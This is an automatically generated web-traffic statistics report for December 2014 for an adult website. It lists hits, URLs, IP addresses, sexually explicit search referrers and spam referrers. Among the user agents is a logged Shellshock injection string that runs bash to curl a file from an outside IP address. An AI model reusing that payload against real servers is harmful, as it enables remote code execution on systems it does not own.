Usage Statistics for megacockcravers1.com

Summary Period: December 2014
Generated 01-Jan-2015 00:00 EST


[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for December 2014
Total Hits 3824
Total Files 2275
Total Pages 1381
Total Visits 994
Total KBytes 26053
Total Unique Sites 1439
Total Unique URLs 61
Total Unique Referrers 517
Total Unique User Agents 475
. Avg Max
Hits per Hour 5 58
Hits per Day 123 201
Files per Day 73 116
Pages per Day 44 115
Visits per Day 32 56
KBytes per Day 840 1327
Hits by Response Code
Code 200 - OK 2275
Code 206 - Partial Content 8
Code 302 - Found 1371
Code 304 - Not Modified 169
Code 403 - Forbidden 1

Daily usage for December 2014

Daily Statistics for December 2014
Day Hits Files Pages Visits Sites KBytes
1 96 2.51% 53 2.33% 36 2.61% 30 3.02% 51 3.54% 487 1.87%
2 138 3.61% 83 3.65% 56 4.06% 36 3.62% 62 4.31% 824 3.16%
3 89 2.33% 56 2.46% 38 2.75% 23 2.31% 49 3.41% 507 1.95%
4 91 2.38% 50 2.20% 28 2.03% 23 2.31% 54 3.75% 607 2.33%
5 134 3.50% 86 3.78% 30 2.17% 29 2.92% 78 5.42% 1128 4.33%
6 102 2.67% 69 3.03% 36 2.61% 22 2.21% 47 3.27% 877 3.37%
7 115 3.01% 59 2.59% 38 2.75% 34 3.42% 62 4.31% 661 2.54%
8 93 2.43% 54 2.37% 31 2.24% 26 2.62% 52 3.61% 641 2.46%
9 85 2.22% 63 2.77% 30 2.17% 25 2.52% 60 4.17% 704 2.70%
10 92 2.41% 51 2.24% 38 2.75% 28 2.82% 53 3.68% 506 1.94%
11 104 2.72% 77 3.38% 25 1.81% 25 2.52% 54 3.75% 1083 4.16%
12 167 4.37% 116 5.10% 64 4.63% 34 3.42% 58 4.03% 1327 5.09%
13 127 3.32% 71 3.12% 28 2.03% 24 2.41% 61 4.24% 963 3.70%
14 156 4.08% 104 4.57% 62 4.49% 30 3.02% 54 3.75% 1171 4.50%
15 148 3.87% 102 4.48% 69 5.00% 36 3.62% 58 4.03% 940 3.61%
16 92 2.41% 64 2.81% 27 1.96% 22 2.21% 57 3.96% 762 2.92%
17 103 2.69% 70 3.08% 32 2.32% 24 2.41% 55 3.82% 835 3.20%
18 144 3.77% 73 3.21% 58 4.20% 48 4.83% 65 4.52% 884 3.39%
19 122 3.19% 66 2.90% 46 3.33% 37 3.72% 61 4.24% 872 3.35%
20 201 5.26% 110 4.84% 115 8.33% 56 5.63% 61 4.24% 815 3.13%
21 163 4.26% 84 3.69% 48 3.48% 36 3.62% 76 5.28% 994 3.82%
22 153 4.00% 97 4.26% 48 3.48% 44 4.43% 71 4.93% 1183 4.54%
23 129 3.37% 65 2.86% 46 3.33% 43 4.33% 71 4.93% 777 2.98%
24 105 2.75% 64 2.81% 45 3.26% 31 3.12% 51 3.54% 514 1.97%
25 95 2.48% 45 1.98% 43 3.11% 38 3.82% 60 4.17% 436 1.67%
26 149 3.90% 71 3.12% 68 4.92% 47 4.73% 58 4.03% 914 3.51%
27 148 3.87% 88 3.87% 49 3.55% 38 3.82% 58 4.03% 902 3.46%
28 118 3.09% 61 2.68% 38 2.75% 32 3.22% 70 4.86% 849 3.26%
29 114 2.98% 77 3.38% 28 2.03% 24 2.41% 63 4.38% 1011 3.88%
30 145 3.79% 69 3.03% 57 4.13% 29 2.92% 66 4.59% 850 3.26%
31 106 2.77% 77 3.38% 24 1.74% 21 2.11% 50 3.47% 1030 3.95%

Hourly usage for December 2014

Hourly Statistics for December 2014
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 3 115 3.01% 2 63 2.77% 1 52 3.77% 21 663 2.54%
1 4 141 3.69% 2 75 3.30% 1 54 3.91% 25 790 3.03%
2 4 141 3.69% 1 61 2.68% 1 60 4.34% 22 686 2.63%
3 5 184 4.81% 3 102 4.48% 2 63 4.56% 44 1376 5.28%
4 5 160 4.18% 3 99 4.35% 1 59 4.27% 35 1084 4.16%
5 5 160 4.18% 3 94 4.13% 1 52 3.77% 37 1150 4.41%
6 5 185 4.84% 4 126 5.54% 1 57 4.13% 53 1632 6.27%
7 5 175 4.58% 4 128 5.63% 2 70 5.07% 45 1381 5.30%
8 5 158 4.13% 3 100 4.40% 1 55 3.98% 34 1067 4.10%
9 7 217 5.67% 4 148 6.51% 3 94 6.81% 50 1538 5.90%
10 5 170 4.45% 3 104 4.57% 1 57 4.13% 37 1156 4.44%
11 5 184 4.81% 3 117 5.14% 1 47 3.40% 52 1599 6.14%
12 5 178 4.65% 3 102 4.48% 2 68 4.92% 34 1040 3.99%
13 7 224 5.86% 4 135 5.93% 2 90 6.52% 47 1451 5.57%
14 5 170 4.45% 3 104 4.57% 2 63 4.56% 42 1292 4.96%
15 4 138 3.61% 2 80 3.52% 1 35 2.53% 36 1119 4.29%
16 5 173 4.52% 3 121 5.32% 2 62 4.49% 43 1347 5.17%
17 3 99 2.59% 1 49 2.15% 1 43 3.11% 16 495 1.90%
18 6 188 4.92% 2 90 3.96% 1 56 4.06% 36 1110 4.26%
19 5 170 4.45% 3 102 4.48% 2 77 5.58% 31 971 3.73%
20 3 114 2.98% 1 56 2.46% 1 35 2.53% 19 602 2.31%
21 4 136 3.56% 2 74 3.25% 1 47 3.40% 26 791 3.03%
22 3 111 2.90% 2 62 2.73% 1 37 2.68% 25 782 3.00%
23 4 133 3.48% 2 83 3.65% 1 48 3.48% 30 930 3.57%

Top 22 of 61 Total URLs
# Hits KBytes URL
1 593 15.51% 2214 8.50% /
2 48 1.26% 29 0.11% /mega-cock-cravers-001/mega-cock-cravers-002.htm
3 39 1.02% 16 0.06% /mega-cock-cravers-001/mega-cock-cravers-003.htm
4 36 0.94% 29 0.11% /mega-cock-cravers-002/mega-cock-cravers-005.htm
5 36 0.94% 74 0.29% /mega-cock-cravers.htm
6 31 0.81% 12 0.05% /mega-cock-cravers-003/mega-cock-cravers-004.htm
7 26 0.68% 67 0.26% /mega-cock-cravers-002/
8 26 0.68% 22 0.08% /mega-cock-cravers-002/mega-cock-cravers-003.htm
9 24 0.63% 60 0.23% /mega-cock-cravers-001/
10 24 0.63% 9 0.04% /mega-cock-cravers-003/mega-cock-cravers-005.htm
11 23 0.60% 19 0.07% /mega-cock-cravers-002/mega-cock-cravers-004.htm
12 22 0.58% 55 0.21% /mega-cock-cravers-003/
13 20 0.52% 14 0.05% /2257.html
14 19 0.50% 14 0.05% /mega-cock-cravers-003/mega-cock-cravers-003.htm
15 18 0.47% 15 0.06% /mega-cock-cravers-003/mega-cock-cravers-001.htm
16 17 0.44% 11 0.04% /mega-cock-cravers-001/mega-cock-cravers-005.htm
17 16 0.42% 13 0.05% /mega-cock-cravers-001/mega-cock-cravers-004.htm
18 12 0.31% 10 0.04% /mega-cock-cravers-001/mega-cock-cravers-001.htm
19 12 0.31% 8 0.03% /mega-cock-cravers-002/mega-cock-cravers-002.htm
20 11 0.29% 8 0.03% /mega-cock-cravers-002/mega-cock-cravers-001.htm
21 11 0.29% 8 0.03% /mega-cock-cravers-003/mega-cock-cravers-002.htm
22 1 0.03% 0 0.00% CGI Scripts

Top 10 of 61 Total URLs By KBytes
# Hits KBytes URL
1 593 15.51% 2214 8.50% /
2 36 0.94% 74 0.29% /mega-cock-cravers.htm
3 26 0.68% 67 0.26% /mega-cock-cravers-002/
4 24 0.63% 60 0.23% /mega-cock-cravers-001/
5 22 0.58% 55 0.21% /mega-cock-cravers-003/
6 36 0.94% 29 0.11% /mega-cock-cravers-002/mega-cock-cravers-005.htm
7 48 1.26% 29 0.11% /mega-cock-cravers-001/mega-cock-cravers-002.htm
8 26 0.68% 22 0.08% /mega-cock-cravers-002/mega-cock-cravers-003.htm
9 23 0.60% 19 0.07% /mega-cock-cravers-002/mega-cock-cravers-004.htm
10 39 1.02% 16 0.06% /mega-cock-cravers-001/mega-cock-cravers-003.htm

Top 21 of 21 Total Entry Pages
# Hits Visits URL
1 593 15.51% 524 54.47% /
2 48 1.26% 48 4.99% /mega-cock-cravers-001/mega-cock-cravers-002.htm
3 26 0.68% 37 3.85% /mega-cock-cravers-002/mega-cock-cravers-003.htm
4 39 1.02% 35 3.64% /mega-cock-cravers-001/mega-cock-cravers-003.htm
5 36 0.94% 35 3.64% /mega-cock-cravers.htm
6 36 0.94% 33 3.43% /mega-cock-cravers-002/mega-cock-cravers-005.htm
7 23 0.60% 32 3.33% /mega-cock-cravers-002/mega-cock-cravers-004.htm
8 31 0.81% 32 3.33% /mega-cock-cravers-003/mega-cock-cravers-004.htm
9 18 0.47% 24 2.49% /mega-cock-cravers-003/mega-cock-cravers-001.htm
10 24 0.63% 22 2.29% /mega-cock-cravers-001/
11 24 0.63% 21 2.18% /mega-cock-cravers-003/mega-cock-cravers-005.htm
12 19 0.50% 20 2.08% /mega-cock-cravers-003/mega-cock-cravers-003.htm
13 17 0.44% 19 1.98% /mega-cock-cravers-001/mega-cock-cravers-005.htm
14 26 0.68% 17 1.77% /mega-cock-cravers-002/
15 22 0.58% 16 1.66% /mega-cock-cravers-003/
16 16 0.42% 10 1.04% /mega-cock-cravers-001/mega-cock-cravers-004.htm
17 12 0.31% 9 0.94% /mega-cock-cravers-002/mega-cock-cravers-002.htm
18 11 0.29% 9 0.94% /mega-cock-cravers-003/mega-cock-cravers-002.htm
19 20 0.52% 8 0.83% /2257.html
20 11 0.29% 6 0.62% /mega-cock-cravers-002/mega-cock-cravers-001.htm
21 12 0.31% 5 0.52% /mega-cock-cravers-001/mega-cock-cravers-001.htm

Top 10 of 21 Total Exit Pages
# Hits Visits URL
1 593 15.51% 501 53.02% /
2 48 1.26% 41 4.34% /mega-cock-cravers-001/mega-cock-cravers-002.htm
3 39 1.02% 37 3.92% /mega-cock-cravers-001/mega-cock-cravers-003.htm
4 36 0.94% 37 3.92% /mega-cock-cravers-002/mega-cock-cravers-005.htm
5 36 0.94% 35 3.70% /mega-cock-cravers.htm
6 26 0.68% 34 3.60% /mega-cock-cravers-002/mega-cock-cravers-003.htm
7 23 0.60% 34 3.60% /mega-cock-cravers-002/mega-cock-cravers-004.htm
8 31 0.81% 30 3.17% /mega-cock-cravers-003/mega-cock-cravers-004.htm
9 19 0.50% 24 2.54% /mega-cock-cravers-003/mega-cock-cravers-003.htm
10 24 0.63% 24 2.54% /mega-cock-cravers-003/mega-cock-cravers-005.htm

Top 10 of 1439 Total Sites
# Hits Files KBytes Visits Hostname
1 90 2.35% 60 2.64% 257 0.98% 15 1.51% 100.43.85.10
2 88 2.30% 7 0.31% 25 0.10% 57 5.73% 66.249.67.68
3 83 2.17% 6 0.26% 27 0.10% 54 5.43% 66.249.67.76
4 72 1.88% 7 0.31% 25 0.10% 57 5.73% 66.249.67.84
5 60 1.57% 0 0.00% 6 0.02% 15 1.51% 220.181.125.155
6 52 1.36% 44 1.93% 68 0.26% 1 0.10% 108.178.53.146
7 35 0.92% 25 1.10% 217 0.83% 19 1.91% 207.46.13.33
8 32 0.84% 20 0.88% 217 0.83% 1 0.10% 65.32.226.2
9 31 0.81% 26 1.14% 208 0.80% 11 1.11% 157.55.39.173
10 30 0.78% 13 0.57% 25 0.09% 16 1.61% 68.180.228.173

Top 10 of 1439 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 20 0.52% 20 0.88% 301 1.15% 0 0.00% 79.32.229.175
2 15 0.39% 15 0.66% 257 0.99% 0 0.00% 73.29.43.103
3 90 2.35% 60 2.64% 257 0.98% 15 1.51% 100.43.85.10
4 28 0.73% 23 1.01% 242 0.93% 8 0.80% 207.46.13.18
5 24 0.63% 16 0.70% 241 0.93% 11 1.11% 157.55.39.117
6 35 0.92% 25 1.10% 217 0.83% 19 1.91% 207.46.13.33
7 32 0.84% 20 0.88% 217 0.83% 1 0.10% 65.32.226.2
8 20 0.52% 18 0.79% 210 0.81% 1 0.10% 184.14.170.8
9 31 0.81% 26 1.14% 208 0.80% 11 1.11% 157.55.39.173
10 12 0.31% 12 0.53% 205 0.79% 0 0.00% 199.30.21.202

Top 100 of 517 Total Referrers
# Hits Referrer
1 88 2.30% https://www.google.com/
2 55 1.44% Yahoo!
3 44 1.15% http://semalt.semalt.com/crawler.php?u=http://megacockcravers1.com
4 39 1.02% http://buttons-for-website.com
5 30 0.78% http://www.bing.com/images/search?q=Big+Cock+Cum+in+Pussy&Form=IQFRDR
6 24 0.63% https://www.google.com.au/
7 22 0.58% https://www.google.co.uk/
8 21 0.55% http://www.google.com/blank.html
9 20 0.52% http://make-money-online.7makemoneyonline.com/money.php?u=http://megacockcravers1.com
10 13 0.34% http://www.bing.com/images/search?q=Big+Cock+Cravers&Form=IQFRDR
11 12 0.31% http://srv.kwzf.net/image/
12 10 0.26% https://www.google.it/
13 9 0.24% http://www.megacockcravers1.com
14 9 0.24% https://www.google.ca/
15 8 0.21% http://www.bing.com/images/search?q=Big+Dick+Sex&FORM=RESTAB
16 8 0.21% http://www.bing.com/images/search?q=Big+Dick+Sex&Form=IQFRDR
17 7 0.18% http://www.bing.com/images/search?q=Mega+Cock&Form=IQFRDR
18 7 0.18% https://www.google.com.br/
19 7 0.18% https://www.google.es/
20 7 0.18% https://www.google.nl/
21 6 0.16% http://r.search.yahoo.com/_ylt=AwrBT4bFsZRUBtwA5ANx.9w4;_ylu=X3oDMTE0NTE3a2FvBHNlYwNzcgRwb3MDNwRjb2xvA2JmMQR2dGlkA01PVVMyMDVfMQ
22 6 0.16% http://www.bing.com/images/search?q=Big+Cock+Sex&FORM=RESTAB
23 6 0.16% http://www.bing.com/images/search?q=cock+pictures&qpvt=cock+pictures&FORM=IGRE
24 6 0.16% http://www.google.com.mx/blank.html
25 5 0.13% http://r.search.yahoo.com/_ylt=AwrSbm0VxqJU_6MASXtx.9w4;_ylu=X3oDMTByMjAxbTBkBHNlYwNzcgRwb3MDNQRjb2xvA2dxMQR2dGlkAw--/RV=2/RE=1
26 5 0.13% http://www.bing.com/images/search?q=Mega+Cock+Cravers&Form=IQFRDR
27 5 0.13% http://www.bing.com/images/search?q=cravers+mega&qs=n&form=QBIR&pq=cravers+mega&sc=0-11&sp=-1&sk=
28 5 0.13% https://www.google.com.tr/
29 4 0.10% http://getdownload.ws
30 4 0.10% http://isdownload.biz
31 4 0.10% http://jezabelleesquer26482.atspace.us/young-black-gay-porn.html
32 4 0.10% http://medialine-it.com
33 4 0.10% http://t2downloads.xyz
34 4 0.10% http://www.bing.com/images/search?q=Big+Cock+Cum+in+Pussy&FORM=RESTAB
35 4 0.10% http://www.bing.com/images/search?q=Big+Cock+Sex&Form=IQFRDR
36 4 0.10% http://www.bing.com/images/search?q=big+dick+sex&view=detail&id=7D7D6BB4D80A3AB7EDE4EE54BC4B14C8F6EAB12C&first=146
37 4 0.10% http://www.bing.com/images/search?q=mega+cock+cravers&view=detail&id=CAE21488BCD3EA155188C140591550096EC84C06&first=32
38 4 0.10% http://www.bing.com/images/search?q=mega+cock+sex+pics&qpvt=mega+cock+sex+pics&FORM=IGRE
39 4 0.10% https://www.google.com.ar/
40 3 0.08% http://devids.net/click-for-full-length-big-cock-movies-mega-cravers.html
41 3 0.08% http://gensun.org/?q=mega
42 3 0.08% http://image.baidu.com/i?ct=503316480&z=0&tn=baiduimagedetail
43 3 0.08% http://images.search.yahoo.com/images/view;_ylt=AwrB8pHD3pVU30sAAL2JzbkF;_ylu=X3oDMTIzdjZrMGEyBHNlYwNzcgRzbGsDaW1nBG9pZANjOTczM
44 3 0.08% http://images.search.yahoo.com/images/view;_ylt=AwrB8pXNbZZUQyEA8q6JzbkF;_ylu=X3oDMTIyM2tyb2VqBHNlYwNzcgRzbGsDaW1nBG9pZAMyMjkyY
45 3 0.08% http://jezabelleesquer26482.atspace.name/naked-cams-small-tits.html
46 3 0.08% http://patefiitaryiq.atspace.org/lfree-sex-movie.html
47 3 0.08% http://uk.images.search.yahoo.com/images/view;_ylt=Az_6xdnJCaBUzxQA9.NNBQx.;_ylu=X3oDMTIzczM2ZGhrBHNlYwNzcgRzbGsDaW1nBG9pZAM0ND
48 3 0.08% http://www.bing.com/images/search?q=Huge+Dick+Cum+in+Pussy&Form=IQFRDR
49 3 0.08% http://www.bing.com/images/search?q=mega+cock+cravers&qpvt=mega+cock+cravers&FORM=IGRE
50 3 0.08% http://www.google.ca/blank.html
51 3 0.08% http://www.google.com.pk/blank.html
52 3 0.08% https://www.google.com.mx/
53 2 0.05% http://anglerz.com/mega-cock-cravers.html
54 2 0.05% http://gensun.org/?q=Mega
55 2 0.05% http://gensun.org/?q=big cock&sort=date
56 2 0.05% http://images.search.yahoo.com/images/view;_ylt=AwrTcXSB3n5UiDYA4YGJzbkF;_ylu=X3oDMTIyZDFiM3YxBHNlYwNzcgRzbGsDaW1nBG9pZANmOTM4N
57 2 0.05% http://r.search.yahoo.com/_ylt=AwrSbgLgroBUcDwALF5x.9w4;_ylu=X3oDMTE0ZnNwazhyBHNlYwNzcgRwb3MDNARjb2xvA2dxMQR2dGlkA01PVVMyNTBfMQ
58 2 0.05% http://search.yahoo.com/search;_ylt=AwrSbg9rJI9UWxEASidx.9w4?p=cockcravers&fr=onesearch&first=1&_tsrc=apple&xargs=0&psqn=3&b=21
59 2 0.05% http://venablenyquist78107.atspace.org/offiical-paris-hilton-sex-tape.html
60 2 0.05% http://whois.domaintools.com/megacockcravers1.com
61 2 0.05% http://www.bing.com/images/search?q=Big+Cock+Cum+in+Pussy&view=detail&id=288878BA3C5880C10D632897E4E346E1B51E827F&first=135
62 2 0.05% http://www.bing.com/images/search?q=Big+Cock+Sex&FORM=IRIBEP&crslsl=1506&=13
63 2 0.05% http://www.bing.com/images/search?q=Big+Cock+Sex+&FORM=O1HV1
64 2 0.05% http://www.bing.com/images/search?q=Big+Cock+Sex+&go=&qs=n&form=QBIR&pq=big+cock+sex+&sc=6-13&sp=-1&sk=
65 2 0.05% http://www.bing.com/images/search?q=Big+Dick+Sex&view=detail&id=CB4EE9C6A5CC97A9A1ABCF83435098AED86B156D&first=81
66 2 0.05% http://www.bing.com/images/search?q=Choking+On+Cum&Form=IQFRDR
67 2 0.05% http://www.bing.com/images/search?q=Huge+Dick+Sex&Form=IQFRDR
68 2 0.05% http://www.bing.com/images/search?q=Massive+Mega+Cocks&Form=IQFRDR
69 2 0.05% http://www.bing.com/images/search?q=Mega+Cock+Cheerleader+Sex&Form=IQFRDR
70 2 0.05% http://www.bing.com/images/search?q=Mega+Cock+Cheerleader+Sex&view=detailv2&&&id=182744B619A3801C87185A77B08ED43232773C5E&selec
71 2 0.05% http://www.bing.com/images/search?q=Sex+With+Huge+Cocks&FORM=R5FD6
72 2 0.05% http://www.bing.com/images/search?q=Sex+huge+cock&view=detail&id=EBC6CCE87B2DF894978EE230FDE4E3662F9C110F&first=74
73 2 0.05% http://www.bing.com/images/search?q=big+cock+sex&FORM=VSRANF
74 2 0.05% http://www.bing.com/images/search?q=big+cock+sex&qpvt=big+cock+sex&FORM=IGRE
75 2 0.05% http://www.bing.com/images/search?q=big+cock+sex&qs=n&form=QBIR&pq=big+cock+sex&sc=6-12&sp=-1&sk=
76 2 0.05% http://www.bing.com/images/search?q=big+cock+sex+pics&qpvt=big+cock+sex+pics&FORM=IGRE
77 2 0.05% http://www.bing.com/images/search?q=big+dick+sex&view=detail&id=27EC4FFE79A0C48922D018DD05602CAA45056661&first=131
78 2 0.05% http://www.bing.com/images/search?q=big+dicks+and+sex&FORM=VSRANF
79 2 0.05% http://www.bing.com/images/search?q=biggest+dick+sex&go=Submit&qs=n&form=QBIR&pq=biggest+dick+sex&sc=1-16&sp=-1&sk=
80 2 0.05% http://www.bing.com/images/search?q=cock+photo&FORM=HDRSC2
81 2 0.05% http://www.bing.com/images/search?q=cocks+pictures&id=9466FC06EF7E9D8011D58A20681A347274FC2A36&FORM=IQFRBA
82 2 0.05% http://www.bing.com/images/search?q=dick+picks&qpvt=dick+picks+&FORM=IGRE
83 2 0.05% http://www.bing.com/images/search?q=dick+pictures&qpvt=dick+pictures&FORM=IGRE
84 2 0.05% http://www.bing.com/images/search?q=dick+pictures&view=detail&id=0FA5D2BC9660992965D3608061D3020D20C43847&first=48
85 2 0.05% http://www.bing.com/images/search?q=huge+cocks+cumming+on+pussy&qpvt=huge+cocks+cumming+on+pussy&FORM=IGRE
86 2 0.05% http://www.bing.com/images/search?q=mega+cock&view=detail&id=C810080D087989A6DD4E791226A95A67EC549CBC&first=31
87 2 0.05% http://www.bing.com/images/search?q=mega+cock+cravers&qs=IA&form=QBIR&pq=mega+cock+&sc=8-10&sp=3&sk=IA2
88 2 0.05% http://www.bing.com/images/search?q=mega+cocks&FORM=HDRSC2
89 2 0.05% http://www.bing.com/images/search?q=mega+dick&FORM=HDRSC2
90 2 0.05% http://www.bing.com/images/search?q=mega+dick+fuck&view=detail&id=C99C71BD9A8C709C61A58A63C967263B0434D36C&first=57
91 2 0.05% http://www.bing.com/images/search?q=megacock+craver&FORM=HDRSC2
92 2 0.05% http://www.bing.com/images/search?q=megacockcravers&FORM=HDRSC2
93 2 0.05% http://www.bing.com/images/search?q=picks+in+pussy&FORM=HDRSC2
94 2 0.05% http://www.bing.com/images/search?q=picks+of+big+dicks&qpvt=picks+of+big+dicks&FORM=IGRE
95 2 0.05% http://www.bing.com/search?q=mega+cock+cravers+pics&first=11&FORM=PORE
96 2 0.05% http://www.bing.com/search?q=mega+cock.cravers&a=results&MID=2500
97 2 0.05% http://www.google.com.mx/search?hl=es-419&site=webhp&tbm=isch&source=hp&ei=od2eVPXEKc_5yQSUxYCoAw&q=cum+cravers&oq=cum+cravers&
98 2 0.05% http://www.google.com.tr/blank.html
99 2 0.05% http://www.google.com/search
100 2 0.05% http://www.google.it/blank.html

Top 4 of 4 Total Search Strings
# Hits Search String
1 4 57.14% cockcravers
2 1 14.29% mega cock cravers
3 1 14.29% megacockcravers.com
4 1 14.29% megacockcravers1.com

Top 15 of 475 Total User Agents
# Hits User Agent
1 3231 84.49% Netscape
2 177 4.63% Micro$oft Internet Exploder
3 101 2.64% YahooCacheSystem
4 60 1.57% Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmaste
5 30 0.78% NerdyBot
6 20 0.52% msnbot-media/1.1 (+http://search.msn.com/msnbot.htm)
7 11 0.29% Baiduspider-image+(+http://www.baidu.com/search/spider.htm)
8 8 0.21% ZDM/4.0; Windows Mobile 8.0
9 6 0.16% CCBot/2.0 (http://commoncrawl.org/faq/)
10 6 0.16% rogerbot/1.0 (http://moz.com/help/pro/what-is-rogerbot-, roge
11 4 0.10% Dalvik/1.6.0 (Linux; U; Android 4.2.2; GT-I9195 Build/JDQ39)
12 4 0.10% Speedy Spider (http://www.entireweb.com)
13 4 0.10% nutch-1.4/Nutch-1.4
14 3 0.08% () { :;}; /bin/bash -c 'curl http://176.102.38.36/search/e.ph
15 3 0.08% Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.

Usage by Country for December 2014

Top 1 of 1 Total Countries
# Hits Files KBytes Country
1 3824 100.00% 2283 100.35% 26053 100.00% Unresolved/Unknown


Generated by Webalizer Version 2.01